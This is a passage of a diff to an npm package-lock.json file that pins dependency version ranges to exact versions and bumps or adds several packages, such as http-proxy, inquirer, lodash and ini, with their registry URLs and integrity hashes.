+ "integrity": "sha512-eSmmWE5bZTK2Nou4g0AI3zZ9rswp7GRKoKXS1BLUkvPviOqs4YTN1djQIqrXy9k5gEtdLPy86JjRwsNM9tnDcA==",
+ "dev": true,
+ "requires": {
+ "parse-passwd": "1.0.0"
}
},
"hosted-git-info": {
@@ -7141,10 +7694,10 @@
"integrity": "sha1-h3dMCUnlE/QuhFdbPEVoH63ioLI=",
"dev": true,
"requires": {
- "inherits": "^2.0.1",
- "obuf": "^1.0.0",
- "readable-stream": "^2.0.1",
- "wbuf": "^1.1.0"
+ "inherits": "2.0.3",
+ "obuf": "1.1.2",
+ "readable-stream": "2.3.6",
+ "wbuf": "1.7.3"
},
"dependencies": {
"isarray": {
@@ -7154,9 +7707,9 @@
"dev": true
},
"process-nextick-args": {
- "version": "2.0.0",
- "resolved": "https://registry.npmjs.org/process-nextick-args/-/process-nextick-args-2.0.0.tgz",
- "integrity": "sha512-MtEC1TqN0EU5nephaJ4rAtThHtC86dNN9qCuEhtshvpVBkAW5ZO7BASN9REnF9eoXGcRub+pFuKEpOHE+HbEMw==",
+ "version": "2.0.1",
+ "resolved": "https://registry.npmjs.org/process-nextick-args/-/process-nextick-args-2.0.1.tgz",
+ "integrity": "sha512-3ouUOpQhtgrbOa17J7+uxOTpITYWaGP7/AhoR3+A+/1e9skrzelGi/dXzEYyvbxubEF6Wn2ypscTKiKJFFn1ag==",
"dev": true
},
"readable-stream": {
@@ -7165,13 +7718,13 @@
"integrity": "sha512-tQtKA9WIAhBF3+VLAseyMqZeBjW0AHJoxOtYqSUZNJxauErmLbVm2FW1y+J/YA9dUrAC39ITejlZWhVIwawkKw==",
"dev": true,
"requires": {
- "core-util-is": "~1.0.0",
- "inherits": "~2.0.3",
- "isarray": "~1.0.0",
- "process-nextick-args": "~2.0.0",
- "safe-buffer": "~5.1.1",
- "string_decoder": "~1.1.1",
- "util-deprecate": "~1.0.1"
+ "core-util-is": "1.0.2",
+ "inherits": "2.0.3",
+ "isarray": "1.0.0",
+ "process-nextick-args": "2.0.1",
+ "safe-buffer": "5.1.1",
+ "string_decoder": "1.1.1",
+ "util-deprecate": "1.0.2"
}
},
"string_decoder": {
@@ -7180,7 +7733,7 @@
"integrity": "sha512-n/ShnvDi6FHbbVfviro+WojiFzv+s8MPMHBczVePfUpDJLwoLT0ht1l4YwBCbi8pJAveEEdnkHyPyTP/mzRfwg==",
"dev": true,
"requires": {
- "safe-buffer": "~5.1.0"
+ "safe-buffer": "5.1.1"
}
}
}
@@ -7197,11 +7750,11 @@
"integrity": "sha512-7hIW7YinOYUpo//kSYcPB6dCKoceKLmOwjEMmhIobHuWGDVl0Nwe4l68mdG/Ru0wcUxQjVMEoZpkalZ/SE7zog==",
"dev": true,
"requires": {
- "es6-templates": "^0.2.3",
- "fastparse": "^1.1.1",
- "html-minifier": "^3.5.8",
- "loader-utils": "^1.1.0",
- "object-assign": "^4.1.1"
+ "es6-templates": "0.2.3",
+ "fastparse": "1.1.1",
+ "html-minifier": "3.5.19",
+ "loader-utils": "1.1.0",
+ "object-assign": "4.1.1"
},
"dependencies": {
"loader-utils": {
@@ -7210,9 +7763,9 @@
"integrity": "sha1-yYrvSIvM7aL/teLeZG1qdUQp9c0=",
"dev": true,
"requires": {
- "big.js": "^3.1.3",
- "emojis-list": "^2.0.0",
- "json5": "^0.5.0"
+ "big.js": "3.1.3",
+ "emojis-list": "2.1.0",
+ "json5": "0.5.1"
}
}
}
@@ -7223,13 +7776,13 @@
"integrity": "sha512-Qr2JC9nsjK8oCrEmuB430ZIA8YWbF3D5LSjywD75FTuXmeqacwHgIM8wp3vHYzzPbklSjp53RdmDuzR4ub2HzA==",
"dev": true,
"requires": {
- "camel-case": "3.0.x",
- "clean-css": "4.1.x",
- "commander": "2.16.x",
- "he": "1.1.x",
- "param-case": "2.1.x",
- "relateurl": "0.2.x",
- "uglify-js": "3.4.x"
+ "camel-case": "3.0.0",
+ "clean-css": "4.1.11",
+ "commander": "2.16.0",
+ "he": "1.1.1",
+ "param-case": "2.1.1",
+ "relateurl": "0.2.7",
+ "uglify-js": "3.4.7"
},
"dependencies": {
"commander": {
@@ -7250,8 +7803,8 @@
"integrity": "sha512-J0M2i1mQA+ze3EdN9SBi751DNdAXmeFLfJrd/MDIkRc3G3Gbb9OPVSx7GIQvVwfWxQARcYV2DTxIkMyDAk3o9Q==",
"dev": true,
"requires": {
- "commander": "~2.16.0",
- "source-map": "~0.6.1"
+ "commander": "2.16.0",
+ "source-map": "0.6.1"
}
}
}
@@ -7262,12 +7815,12 @@
"integrity": "sha1-sBq71yOsqqeze2r0SS69oD2d03s=",
"dev": true,
"requires": {
- "html-minifier": "^3.2.3",
- "loader-utils": "^0.2.16",
- "lodash": "^4.17.3",
- "pretty-error": "^2.0.2",
- "tapable": "^1.0.0",
- "toposort": "^1.0.0",
+ "html-minifier": "3.5.19",
+ "loader-utils": "0.2.17",
+ "lodash": "4.17.10",
+ "pretty-error": "2.1.1",
+ "tapable": "1.0.0",
+ "toposort": "1.0.7",
"util.promisify": "1.0.0"
}
},
@@ -7277,10 +7830,10 @@
"integrity": "sha1-zHDQWln2VC5D8OaFyYLhTJJKnv4=",
"dev": true,
"requires": {
- "domelementtype": "1",
- "domhandler": "2.1",
- "domutils": "1.1",
- "readable-stream": "1.0"
+ "domelementtype": "1.3.0",
+ "domhandler": "2.1.0",
+ "domutils": "1.1.6",
+ "readable-stream": "1.0.34"
},
"dependencies": {
"domutils": {
@@ -7289,7 +7842,7 @@
"integrity": "sha1-vdw94Jm5ou+sxRxiPyj0FuzFdIU=",
"dev": true,
"requires": {
- "domelementtype": "1"
+ "domelementtype": "1.3.0"
}
}
}
@@ -7301,44 +7854,45 @@
"dev": true
},
"http-errors": {
- "version": "1.6.3",
- "resolved": "https://registry.npmjs.org/http-errors/-/http-errors-1.6.3.tgz",
- "integrity": "sha1-i1VoC7S+KDoLW/TqLjhYC+HZMg0=",
+ "version": "1.7.2",
+ "resolved": "https://registry.npmjs.org/http-errors/-/http-errors-1.7.2.tgz",
+ "integrity": "sha512-uUQBt3H/cSIVfch6i1EuPNy/YsRSOUBXTVfZ+yR7Zjez3qjBz6i9+i4zjNaoqcoFVI4lQJ5plg63TvGfRSDCRg==",
"dev": true,
"requires": {
- "depd": "~1.1.2",
+ "depd": "1.1.2",
"inherits": "2.0.3",
- "setprototypeof": "1.1.0",
- "statuses": ">= 1.4.0 < 2"
+ "setprototypeof": "1.1.1",
+ "statuses": "1.5.0",
+ "toidentifier": "1.0.0"
}
},
"http-parser-js": {
- "version": "0.4.13",
- "resolved": "https://registry.npmjs.org/http-parser-js/-/http-parser-js-0.4.13.tgz",
- "integrity": "sha1-O9bW/ebjFyyTNMOzO2wZPYD+ETc=",
+ "version": "0.4.10",
+ "resolved": "https://registry.npmjs.org/http-parser-js/-/http-parser-js-0.4.10.tgz",
+ "integrity": "sha1-ksnBN0w1CF912zWexWzCV8u5P6Q=",
"dev": true
},
"http-proxy": {
- "version": "1.17.0",
- "resolved": "https://registry.npmjs.org/http-proxy/-/http-proxy-1.17.0.tgz",
- "integrity": "sha512-Taqn+3nNvYRfJ3bGvKfBSRwy1v6eePlm3oc/aWVxZp57DQr5Eq3xhKJi7Z4hZpS8PC3H4qI+Yly5EmFacGuA/g==",
+ "version": "1.18.0",
+ "resolved": "https://registry.npmjs.org/http-proxy/-/http-proxy-1.18.0.tgz",
+ "integrity": "sha512-84I2iJM/n1d4Hdgc6y2+qY5mDaz2PUVjlg9znE9byl+q0uC3DeByqBGReQu5tpLK0TAqTIXScRUV+dg7+bUPpQ==",
"dev": true,
"requires": {
- "eventemitter3": "^3.0.0",
- "follow-redirects": "^1.0.0",
- "requires-port": "^1.0.0"
+ "eventemitter3": "4.0.0",
+ "follow-redirects": "1.9.0",
+ "requires-port": "1.0.0"
}
},
"http-proxy-middleware": {
- "version": "0.18.0",
- "resolved": "https://registry.npmjs.org/http-proxy-middleware/-/http-proxy-middleware-0.18.0.tgz",
- "integrity": "sha512-Fs25KVMPAIIcgjMZkVHJoKg9VcXcC1C8yb9JUgeDvVXY0S/zgVIhMb+qVswDIgtJe2DfckMSY2d6TuTEutlk6Q==",
+ "version": "0.19.1",
+ "resolved": "https://registry.npmjs.org/http-proxy-middleware/-/http-proxy-middleware-0.19.1.tgz",
+ "integrity": "sha512-yHYTgWMQO8VvwNS22eLLloAkvungsKdKTLO8AJlftYIKNfJr3GK3zK0ZCfzDDGUBttdGc8xFy1mCitvNKQtC3Q==",
"dev": true,
"requires": {
- "http-proxy": "^1.16.2",
- "is-glob": "^4.0.0",
- "lodash": "^4.17.5",
- "micromatch": "^3.1.9"
+ "http-proxy": "1.18.0",
+ "is-glob": "4.0.1",
+ "lodash": "4.17.15",
+ "micromatch": "3.1.10"
},
"dependencies": {
"arr-diff": {
@@ -7359,16 +7913,16 @@
"integrity": "sha512-aNdbnj9P8PjdXU4ybaWLK2IF3jc/EoDYbC7AazW6to3TRsfXxscC9UXOB5iDiEQrkyIbWp2SLQda4+QAa7nc3w==",
"dev": true,
"requires": {
- "arr-flatten": "^1.1.0",
- "array-unique": "^0.3.2",
- "extend-shallow": "^2.0.1",
- "fill-range": "^4.0.0",
- "isobject": "^3.0.1",
- "repeat-element": "^1.1.2",
- "snapdragon": "^0.8.1",
- "snapdragon-node": "^2.0.1",
- "split-string": "^3.0.2",
- "to-regex": "^3.0.1"
+ "arr-flatten": "1.1.0",
+ "array-unique": "0.3.2",
+ "extend-shallow": "2.0.1",
+ "fill-range": "4.0.0",
+ "isobject": "3.0.1",
+ "repeat-element": "1.1.2",
+ "snapdragon": "0.8.2",
+ "snapdragon-node": "2.1.1",
+ "split-string": "3.1.0",
+ "to-regex": "3.0.2"
},
"dependencies": {
"extend-shallow": {
@@ -7377,7 +7931,7 @@
"integrity": "sha1-Ua99YUrZqfYQ6huvu5idaxxWiQ8=",
"dev": true,
"requires": {
- "is-extendable": "^0.1.0"
+ "is-extendable": "0.1.1"
}
}
}
@@ -7388,13 +7942,13 @@
"integrity": "sha1-t3c14xXOMPa27/D4OwQVGiJEliI=",
"dev": true,
"requires": {
- "debug": "^2.3.3",
- "define-property": "^0.2.5",
- "extend-shallow": "^2.0.1",
- "posix-character-classes": "^0.1.0",
- "regex-not": "^1.0.0",
- "snapdragon": "^0.8.1",
- "to-regex": "^3.0.1"
+ "debug": "2.6.8",
+ "define-property": "0.2.5",
+ "extend-shallow": "2.0.1",
+ "posix-character-classes": "0.1.1",
+ "regex-not": "1.0.2",
+ "snapdragon": "0.8.2",
+ "to-regex": "3.0.2"
},
"dependencies": {
"define-property": {
@@ -7403,7 +7957,7 @@
"integrity": "sha1-w1se+RjsPJkPmlvFe+BKrOxcgRY=",
"dev": true,
"requires": {
- "is-descriptor": "^0.1.0"
+ "is-descriptor": "0.1.6"
}
},
"extend-shallow": {
@@ -7412,7 +7966,7 @@
"integrity": "sha1-Ua99YUrZqfYQ6huvu5idaxxWiQ8=",
"dev": true,
"requires": {
- "is-extendable": "^0.1.0"
+ "is-extendable": "0.1.1"
}
},
"is-accessor-descriptor": {
@@ -7421,7 +7975,7 @@
"integrity": "sha1-qeEss66Nh2cn7u84Q/igiXtcmNY=",
"dev": true,
"requires": {
- "kind-of": "^3.0.2"
+ "kind-of": "3.2.2"
},
"dependencies": {
"kind-of": {
@@ -7430,7 +7984,7 @@
"integrity": "sha1-MeohpzS6ubuw8yRm2JOupR5KPGQ=",
"dev": true,
"requires": {
- "is-buffer": "^1.1.5"
+ "is-buffer": "1.1.5"
}
}
}
@@ -7441,7 +7995,7 @@
"integrity": "sha1-C17mSDiOLIYCgueT8YVv7D8wG1Y=",
"dev": true,
"requires": {
- "kind-of": "^3.0.2"
+ "kind-of": "3.2.2"
},
"dependencies": {
"kind-of": {
@@ -7450,7 +8004,7 @@
"integrity": "sha1-MeohpzS6ubuw8yRm2JOupR5KPGQ=",
"dev": true,
"requires": {
- "is-buffer": "^1.1.5"
+ "is-buffer": "1.1.5"
}
}
}
@@ -7461,9 +8015,9 @@
"integrity": "sha512-avDYr0SB3DwO9zsMov0gKCESFYqCnE4hq/4z3TdUlukEy5t9C0YRq7HLrsN52NAcqXKaepeCD0n+B0arnVG3Hg==",
"dev": true,
"requires": {
- "is-accessor-descriptor": "^0.1.6",
- "is-data-descriptor": "^0.1.4",
- "kind-of": "^5.0.0"
+ "is-accessor-descriptor": "0.1.6",
+ "is-data-descriptor": "0.1.4",
+ "kind-of": "5.1.0"
}
},
"kind-of": {
@@ -7480,14 +8034,14 @@
"integrity": "sha512-Nmb6QXkELsuBr24CJSkilo6UHHgbekK5UiZgfE6UHD3Eb27YC6oD+bhcT+tJ6cl8dmsgdQxnWlcry8ksBIBLpw==",
"dev": true,
"requires": {
- "array-unique": "^0.3.2",
- "define-property": "^1.0.0",
- "expand-brackets": "^2.1.4",
- "extend-shallow": "^2.0.1",
- "fragment-cache": "^0.2.1",
- "regex-not": "^1.0.0",
- "snapdragon": "^0.8.1",
- "to-regex": "^3.0.1"
+ "array-unique": "0.3.2",
+ "define-property": "1.0.0",
+ "expand-brackets": "2.1.4",
+ "extend-shallow": "2.0.1",
+ "fragment-cache": "0.2.1",
+ "regex-not": "1.0.2",
+ "snapdragon": "0.8.2",
+ "to-regex": "3.0.2"
},
"dependencies": {
"define-property": {
@@ -7496,7 +8050,7 @@
"integrity": "sha1-dp66rz9KY6rTr56NMEybvnm/sOY=",
"dev": true,
"requires": {
- "is-descriptor": "^1.0.0"
+ "is-descriptor": "1.0.2"
}
},
"extend-shallow": {
@@ -7505,7 +8059,7 @@
"integrity": "sha1-Ua99YUrZqfYQ6huvu5idaxxWiQ8=",
"dev": true,
"requires": {
- "is-extendable": "^0.1.0"
+ "is-extendable": "0.1.1"
}
}
}
@@ -7516,10 +8070,10 @@
"integrity": "sha1-1USBHUKPmOsGpj3EAtJAPDKMOPc=",
"dev": true,
"requires": {
- "extend-shallow": "^2.0.1",
- "is-number": "^3.0.0",
- "repeat-string": "^1.6.1",
- "to-regex-range": "^2.1.0"
+ "extend-shallow": "2.0.1",
+ "is-number": "3.0.0",
+ "repeat-string": "1.6.1",
+ "to-regex-range": "2.1.1"
},
"dependencies": {
"extend-shallow": {
@@ -7528,7 +8082,7 @@
"integrity": "sha1-Ua99YUrZqfYQ6huvu5idaxxWiQ8=",
"dev": true,
"requires": {
- "is-extendable": "^0.1.0"
+ "is-extendable": "0.1.1"
}
}
}
@@ -7539,7 +8093,7 @@
"integrity": "sha512-m5hnHTkcVsPfqx3AKlyttIPb7J+XykHvJP2B9bZDjlhLIoEq4XoK64Vg7boZlVWYK6LUY94dYPEE7Lh0ZkZKcQ==",
"dev": true,
"requires": {
- "kind-of": "^6.0.0"
+ "kind-of": "6.0.2"
}
},
"is-data-descriptor": {
@@ -7548,7 +8102,7 @@
"integrity": "sha512-jbRXy1FmtAoCjQkVmIVYwuuqDFUbaOeDjmed1tOGPrsMhtJA4rD9tkgA0F1qJ3gRFRXcHYVkdeaP50Q5rE/jLQ==",
"dev": true,
"requires": {
- "kind-of": "^6.0.0"
+ "kind-of": "6.0.2"
}
},
"is-descriptor": {
@@ -7557,9 +8111,9 @@
"integrity": "sha512-2eis5WqQGV7peooDyLmNEPUrps9+SXX5c9pL3xEB+4e9HnGuDa7mB7kHxHw4CbqS9k1T2hOH3miL8n8WtiYVtg==",
"dev": true,
"requires": {
- "is-accessor-descriptor": "^1.0.0",
- "is-data-descriptor": "^1.0.0",
- "kind-of": "^6.0.2"
+ "is-accessor-descriptor": "1.0.0",
+ "is-data-descriptor": "1.0.0",
+ "kind-of": "6.0.2"
}
},
"is-extglob": {
@@ -7569,12 +8123,12 @@
"dev": true
},
"is-glob": {
- "version": "4.0.0",
- "resolved": "https://registry.npmjs.org/is-glob/-/is-glob-4.0.0.tgz",
- "integrity": "sha1-lSHHaEXMJhCoUgPd8ICpWML/q8A=",
+ "version": "4.0.1",
+ "resolved": "https://registry.npmjs.org/is-glob/-/is-glob-4.0.1.tgz",
+ "integrity": "sha512-5G0tKtBTFImOqDnLB2hG6Bp2qcKEFduo4tZu9MT/H6NQv/ghhy30o55ufafxJ/LdH79LLs2Kfrn85TLKyA7BUg==",
"dev": true,
"requires": {
- "is-extglob": "^2.1.1"
+ "is-extglob": "2.1.1"
}
},
"is-number": {
@@ -7583,7 +8137,7 @@
"integrity": "sha1-JP1iAaR4LPUFYcgQJ2r8fRLXEZU=",
"dev": true,
"requires": {
- "kind-of": "^3.0.2"
+ "kind-of": "3.2.2"
},
"dependencies": {
"kind-of": {
@@ -7592,7 +8146,7 @@
"integrity": "sha1-MeohpzS6ubuw8yRm2JOupR5KPGQ=",
"dev": true,
"requires": {
- "is-buffer": "^1.1.5"
+ "is-buffer": "1.1.5"
}
}
}
@@ -7609,25 +8163,31 @@
"integrity": "sha512-s5kLOcnH0XqDO+FvuaLX8DDjZ18CGFk7VygH40QoKPUQhW4e2rvM0rwUq0t8IQDOwYSeLK01U90OjzBTme2QqA==",
"dev": true
},
+ "lodash": {
+ "version": "4.17.15",
+ "resolved": "https://registry.npmjs.org/lodash/-/lodash-4.17.15.tgz",
+ "integrity": "sha512-8xOcRHvCjnocdS5cpwXQXVzmmh5e5+saE2QGoeQmbKmRS6J3VQppPOIt0MnmE+4xlZoumy0GPG0D0MVIQbNA1A==",
+ "dev": true
+ },
"micromatch": {
"version": "3.1.10",
"resolved": "https://registry.npmjs.org/micromatch/-/micromatch-3.1.10.tgz",
"integrity": "sha512-MWikgl9n9M3w+bpsY3He8L+w9eF9338xRl8IAO5viDizwSzziFEyUzo2xrrloB64ADbTf8uA8vRqqttDTOmccg==",
"dev": true,
"requires": {
- "arr-diff": "^4.0.0",
- "array-unique": "^0.3.2",
- "braces": "^2.3.1",
- "define-property": "^2.0.2",
- "extend-shallow": "^3.0.2",
- "extglob": "^2.0.4",
- "fragment-cache": "^0.2.1",
- "kind-of": "^6.0.2",
- "nanomatch": "^1.2.9",
- "object.pick": "^1.3.0",
- "regex-not": "^1.0.0",
- "snapdragon": "^0.8.1",
- "to-regex": "^3.0.2"
+ "arr-diff": "4.0.0",
+ "array-unique": "0.3.2",
+ "braces": "2.3.2",
+ "define-property": "2.0.2",
+ "extend-shallow": "3.0.2",
+ "extglob": "2.0.4",
+ "fragment-cache": "0.2.1",
+ "kind-of": "6.0.2",
+ "nanomatch": "1.2.13",
+ "object.pick": "1.3.0",
+ "regex-not": "1.0.2",
+ "snapdragon": "0.8.2",
+ "to-regex": "3.0.2"
}
}
}
@@ -7637,9 +8197,9 @@
"resolved": "https://registry.npmjs.org/http-signature/-/http-signature-1.2.0.tgz",
"integrity": "sha1-muzZJRFHcvPZW2WmCruPfBj7rOE=",
"requires": {
- "assert-plus": "^1.0.0",
- "jsprim": "^1.2.2",
- "sshpk": "^1.7.0"
+ "assert-plus": "1.0.0",
+ "jsprim": "1.4.1",
+ "sshpk": "1.14.1"
}
},
"https-browserify": {
@@ -7665,13 +8225,13 @@
"integrity": "sha1-g/Cg7DeL8yRheLbCrZE28TWxyWI=",
"dev": true,
"requires": {
- "postcss": "^6.0.1"
+ "postcss": "6.0.23"
}
},
"ieee754": {
- "version": "1.1.12",
- "resolved": "https://registry.npmjs.org/ieee754/-/ieee754-1.1.12.tgz",
- "integrity": "sha512-GguP+DRY+pJ3soyIiGPTvdiVXjZ+DbXOxGpXn3eMvNW4x4irjqXm4wHKscC+TfxSJ0yw/S1F24tqdMNsMZTiLA=="
+ "version": "1.1.13",
+ "resolved": "https://registry.npmjs.org/ieee754/-/ieee754-1.1.13.tgz",
+ "integrity": "sha512-4vf7I2LYV/HaWerSo3XmlMkp5eZ83i+/CDluXi/IGTs/O1sejBNhTtnxzmRZfvOUqj7lZjqHkeTvpgSFDlWZTg=="
},
"iferr": {
"version": "0.1.5",
@@ -7690,23 +8250,8 @@
"resolved": "https://registry.npmjs.org/import-fresh/-/import-fresh-2.0.0.tgz",
"integrity": "sha1-2BNVwVYS04bGH53dOSLUMEgipUY=",
"requires": {
- "caller-path": "^2.0.0",
- "resolve-from": "^3.0.0"
- },
- "dependencies": {
- "caller-path": {
- "version": "2.0.0",
- "resolved": "https://registry.npmjs.org/caller-path/-/caller-path-2.0.0.tgz",
- "integrity": "sha1-Ro+DBE42mrIBD6xfBs7uFbsssfQ=",
- "requires": {
- "caller-callsite": "^2.0.0"
- }
- },
- "resolve-from": {
- "version": "3.0.0",
- "resolved": "https://registry.npmjs.org/resolve-from/-/resolve-from-3.0.0.tgz",
- "integrity": "sha1-six699nWiBvItuZTM17rywoYh0g="
- }
+ "caller-path": "2.0.0",
+ "resolve-from": "3.0.0"
}
},
"import-local": {
@@ -7715,8 +8260,8 @@
"integrity": "sha512-b6s04m3O+s3CGSbqDIyP4R6aAwAeYlVq9+WUWep6iHa8ETRf9yei1U48C5MmfJmV9AiLYYBKPMq/W+/WRpQmCQ==",
"dev": true,
"requires": {
- "pkg-dir": "^3.0.0",
- "resolve-cwd": "^2.0.0"
+ "pkg-dir": "3.0.0",
+ "resolve-cwd": "2.0.0"
},
"dependencies": {
"find-up": {
@@ -7725,7 +8270,7 @@
"integrity": "sha512-1yD6RmLI1XBfxugvORwlck6f75tYL+iR0jqwsOrOxMZyGYqUuDhJ0l4AXdO1iX/FTs9cBAMEk1gWSEx1kSbylg==",
"dev": true,
"requires": {
- "locate-path": "^3.0.0"
+ "locate-path": "3.0.0"
}
},
"locate-path": {
@@ -7734,17 +8279,17 @@
"integrity": "sha512-7AO748wWnIhNqAuaty2ZWHkQHRSNfPVIsPIfwEOWO22AmaoVrWavlOcMR5nzTLNYvp36X220/maaRsrec1G65A==",
"dev": true,
"requires": {
- "p-locate": "^3.0.0",
- "path-exists": "^3.0.0"
+ "p-locate": "3.0.0",
+ "path-exists": "3.0.0"
}
},
"p-limit": {
- "version": "2.0.0",
- "resolved": "https://registry.npmjs.org/p-limit/-/p-limit-2.0.0.tgz",
- "integrity": "sha512-fl5s52lI5ahKCernzzIyAP0QAZbGIovtVHGwpcu1Jr/EpzLVDI2myISHwGqK7m8uQFugVWSrbxH7XnhGtvEc+A==",
+ "version": "2.2.1",
+ "resolved": "https://registry.npmjs.org/p-limit/-/p-limit-2.2.1.tgz",
+ "integrity": "sha512-85Tk+90UCVWvbDavCLKPOLC9vvY8OwEX/RtKF+/1OADJMVlFfEHOiMTPVyxg7mk/dKa+ipdHm0OUkTvCpMTuwg==",
"dev": true,
"requires": {
- "p-try": "^2.0.0"
+ "p-try": "2.2.0"
}
},
"p-locate": {
@@ -7753,13 +8298,13 @@
"integrity": "sha512-x+12w/To+4GFfgJhBEpiDcLozRJGegY+Ei7/z0tSLkMmxGZNybVMSfWj9aJn8Z5Fc7dBUNJOOVgPv2H7IwulSQ==",
"dev": true,
"requires": {
- "p-limit": "^2.0.0"
+ "p-limit": "2.2.1"
}
},
"p-try": {
- "version": "2.0.0",
- "resolved": "https://registry.npmjs.org/p-try/-/p-try-2.0.0.tgz",
- "integrity": "sha512-hMp0onDKIajHfIkdRk3P4CdCmErkYAxxDtP3Wx/4nZ3aGlau2VKh3mZpcuFkH27WQkL/3WBCPOktzA9ZOAnMQQ==",
+ "version": "2.2.0",
+ "resolved": "https://registry.npmjs.org/p-try/-/p-try-2.2.0.tgz",
+ "integrity": "sha512-R4nPAVTAU0B9D35/Gk3uJf/7XYbQcyohSKdvAxIRSNghFl4e71hVoGnBNQz9cWaXxO2I10KTC+3jMdvvoKw6dQ==",
"dev": true
},
"path-exists": {
@@ -7774,7 +8319,7 @@
"integrity": "sha512-/E57AYkoeQ25qkxMj5PBOVgF8Kiu/h7cYS30Z5+R7WaiCCBfLq58ZI/dSeaEKb9WVJV5n/03QwrN3IeWIFllvw==",
"dev": true,
"requires": {
- "find-up": "^3.0.0"
+ "find-up": "3.0.0"
}
}
}
@@ -7795,7 +8340,7 @@
"resolved": "https://registry.npmjs.org/indent-string/-/indent-string-2.1.0.tgz",
"integrity": "sha1-ji1INIdCEhtKghi3oTfppSBJ3IA=",
"requires": {
- "repeating": "^2.0.0"
+ "repeating": "2.0.1"
}
},
"indexof": {
@@ -7804,13 +8349,19 @@
"integrity": "sha1-gtwzbSMrkGIXnQWrMpOmYFn9Q10=",
"dev": true
},
+ "infer-owner": {
+ "version": "1.0.4",
+ "resolved": "https://registry.npmjs.org/infer-owner/-/infer-owner-1.0.4.tgz",
+ "integrity": "sha512-IClj+Xz94+d7irH5qRyfJonOdfTzuDaifE6ZPWfx0N0+/ATZCbuTPq2prFl526urkQd90WyUKIh1DfBQ2hMz9A==",
+ "dev": true
+ },
"inflight": {
"version": "1.0.6",
"resolved": "https://registry.npmjs.org/inflight/-/inflight-1.0.6.tgz",
"integrity": "sha1-Sb1jMdfQLQwJvJEKEHW6gWW1bfk=",
"requires": {
- "once": "^1.3.0",
- "wrappy": "1"
+ "once": "1.4.0",
+ "wrappy": "1.0.2"
}
},
"inherits": {
@@ -7818,31 +8369,37 @@
"resolved": "https://registry.npmjs.org/inherits/-/inherits-2.0.3.tgz",
"integrity": "sha1-Yzwsg+PaQqUC9SRmAiSA9CCCYd4="
},
+ "ini": {
+ "version": "1.3.5",
+ "resolved": "https://registry.npmjs.org/ini/-/ini-1.3.5.tgz",
+ "integrity": "sha512-RZY5huIKCMRWDUqZlEi72f/lmXKMvuszcMBduliQ3nnWbx9X/ZBQO7DijMEYS9EhHBb2qacRUMtC7svLwe0lcw==",
+ "dev": true
+ },
"inquirer": {
- "version": "6.2.0",
- "resolved": "https://registry.npmjs.org/inquirer/-/inquirer-6.2.0.tgz",
- "integrity": "sha512-QIEQG4YyQ2UYZGDC4srMZ7BjHOmNk1lR2JQj5UknBapklm6WHA+VVH7N+sUdX3A7NeCfGF8o4X1S3Ao7nAcIeg==",
+ "version": "6.5.2",
+ "resolved": "https://registry.npmjs.org/inquirer/-/inquirer-6.5.2.tgz",
+ "integrity": "sha512-cntlB5ghuB0iuO65Ovoi8ogLHiWGs/5yNrtUcKjFhSSiVeAIVpD7koaSU9RM8mpXw5YDi9RdYXGQMaOURB7ycQ==",
"dev": true,
"requires": {
- "ansi-escapes": "^3.0.0",
- "chalk": "^2.0.0",
- "cli-cursor": "^2.1.0",
- "cli-width": "^2.0.0",
- "external-editor": "^3.0.0",
- "figures": "^2.0.0",
- "lodash": "^4.17.10",
+ "ansi-escapes": "3.2.0",
+ "chalk": "2.4.2",
+ "cli-cursor": "2.1.0",
+ "cli-width": "2.2.0",
+ "external-editor": "3.1.0",
+ "figures": "2.0.0",
+ "lodash": "4.17.15",
"mute-stream": "0.0.7",
- "run-async": "^2.2.0",
- "rxjs": "^6.1.0",
- "string-width": "^2.1.0",
- "strip-ansi": "^4.0.0",
- "through": "^2.3.6"
+ "run-async": "2.3.0",
+ "rxjs": "6.5.3",
+ "string-width": "2.1.1",
+ "strip-ansi": "5.2.0",
+ "through": "2.3.8"
},
"dependencies": {
"ansi-regex": {
- "version": "3.0.0",
- "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-3.0.0.tgz",
- "integrity": "sha1-7QMXwyIGT3lGbAKWa922Bas32Zg=",
+ "version": "4.1.0",
+ "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-4.1.0.tgz",
+ "integrity": "sha512-1apePfXM1UOSqw0o9IiFAovVz9M5S1Dg+4TrDwfMewQ6p/rmMueb7tWZjQ1rx4Loy1ArBggoqGpfqqdI4rondg==",
"dev": true
},
"ansi-styles": {
@@ -7851,18 +8408,18 @@
"integrity": "sha512-VT0ZI6kZRdTh8YyJw3SMbYm/u+NqfsAxEpWO0Pf9sq8/e94WxxOpPKx9FR1FlyCtOVDNOQ+8ntlqFxiRc+r5qA==",
"dev": true,
"requires": {
- "color-convert": "^1.9.0"
+ "color-convert": "1.9.0"
}
},
"chalk": {
- "version": "2.4.1",
- "resolved": "https://registry.npmjs.org/chalk/-/chalk-2.4.1.tgz",
- "integrity": "sha512-ObN6h1v2fTJSmUXoS3nMQ92LbDK9be4TV+6G+omQlGJFdcUX5heKi1LZ1YnRMIgwTLEj3E24bT6tYni50rlCfQ==",
+ "version": "2.4.2",
+ "resolved": "https://registry.npmjs.org/chalk/-/chalk-2.4.2.tgz",
+ "integrity": "sha512-Mti+f9lpJNcwF4tWV8/OrTTtF1gZi+f8FqlyAdouralcFWFQWF2+NgCHShjkCb+IFBLq9buZwE1xckQU4peSuQ==",
"dev": true,
"requires": {
- "ansi-styles": "^3.2.1",
- "escape-string-regexp": "^1.0.5",
- "supports-color": "^5.3.0"
+ "ansi-styles": "3.2.1",
+ "escape-string-regexp": "1.0.5",
+ "supports-color": "5.5.0"
}
},
"has-flag": {
@@ -7871,13 +8428,19 @@
"integrity": "sha1-tdRU3CGZriJWmfNGfloH87lVuv0=",
"dev": true
},
+ "lodash": {
+ "version": "4.17.15",
+ "resolved": "https://registry.npmjs.org/lodash/-/lodash-4.17.15.tgz",
+ "integrity": "sha512-8xOcRHvCjnocdS5cpwXQXVzmmh5e5+saE2QGoeQmbKmRS6J3VQppPOIt0MnmE+4xlZoumy0GPG0D0MVIQbNA1A==",
+ "dev": true
+ },
"strip-ansi": {
- "version": "4.0.0",
- "resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-4.0.0.tgz",
- "integrity": "sha1-qEeQIusaw2iocTibY1JixQXuNo8=",
+ "version": "5.2.0",
+ "resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-5.2.0.tgz",
+ "integrity": "sha512-DuRs1gKbBqsMKIZlrffwlug8MHkcnpjs5VPmL1PAh+mA30U0DTotfDZ0d2UUsXpPmPmMMJ6W773MaA3J+lbiWA==",
"dev": true,
"requires": {
